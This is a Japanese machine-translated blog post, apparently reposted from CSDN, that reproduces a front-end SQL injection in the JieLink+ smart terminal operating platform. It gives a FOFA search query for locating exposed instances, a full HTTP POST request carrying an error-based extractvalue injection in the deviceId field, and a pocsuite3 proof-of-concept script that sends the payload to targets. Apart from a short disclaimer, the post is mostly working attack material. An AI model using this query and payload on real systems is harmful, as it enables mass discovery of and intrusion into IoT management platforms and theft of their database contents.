脆弱性の再発 - スマート ターミナルのオペレーティング プラットフォームのフロント デスクに一般的な SQL インジェクションの脆弱性 (脆弱性検出スクリプトが添付されている)

免責事項

記事に含まれる脆弱性は修正されており、機密情報は暗号化されています。記事は経験の共有のみを目的としています。真剣に受け止めないでください。不正な攻撃は違法です。記事内の機密情報は複数のレベルで処理されています。本記事に掲載されている情報の流布・利用により生じた直接的・間接的な結果・損失については、利用者が責任を負うものとし、著者は一切の責任を負わないものとします。

脆弱性の説明

このプラットフォームは、モノのインターネット技術に基づいたインテリジェントな接続プラットフォームです。さまざまな IoT デバイスを管理および監視するための包括的な機能とサービスを提供します。このプラットフォームは高度にカスタマイズ可能で、さまざまな業界やシナリオのニーズに適応できます。このプラットフォームを通じて、ユーザーはリアルタイムで機器の状態を監視し、データを収集および分析し、遠隔制御および操作のスケジュールを実行できます。このプラットフォームは、デバイス間の相互接続と相互運用性を実現するために、さまざまな通信プロトコルとデバイス アクセス方法もサポートしています。同時に、このプラットフォームは使いやすいユーザー インターフェイスと強力なデータ管理機能を提供し、ユーザーが IoT システムを迅速に構築および管理できるようにします。つまり、このプラットフォームはユーザーに便利で効率的なIoTソリューションを提供し、IoT技術の応用と開発を促進します。

フォファ声明

title="JieLink+智能终端操作平台"

poc ステートメントと検出

POST /mobile/Remote/GetParkController HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: DefaultSystem=Mobile; ASP.NET_SessionId=533gfzuselgriachdgogkug5
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

deviceId=1'and/**/extractvalue(1,concat(char(126),database()))and'

pocスクリプト

スクリプト用の pocsuite フレームワーク

# _*_ coding:utf-8 _*_
# @Time : 2023/12/12
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class JieLink_zhineng_sql(POCBase):
    pocDesc = '''智能终端操作平台前台通用SQL注入漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-12'
    name = '智能终端操作平台前台通用SQL注入漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/mobile/Remote/GetParkController'
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
            "Accept": "application/json, text/plain, */*",
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Connection': 'close',
            'X-Requested-With': 'XMLHttpRequest',
            "Content-Type": "application/x-www-form-urlencoded",
            'Cookie': 'DefaultSystem=Mobile; ASP.NET_SessionId=533gfzuselgriachdgogkug5'
        }
        try:
            data = "deviceId=1'and/**/extractvalue(1,concat(char(126),database()))and'"

            response = requests.post(url, headers=headers, data=data)
            if response.status_code == 200 and 'error' in response.text:
                result['VerifyInfo'] = {}


            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(JieLink_zhineng_sql)

スクリプトエクスプロイト

おすすめ

転載: blog.csdn.net/jjjj1029056414/article/details/134946693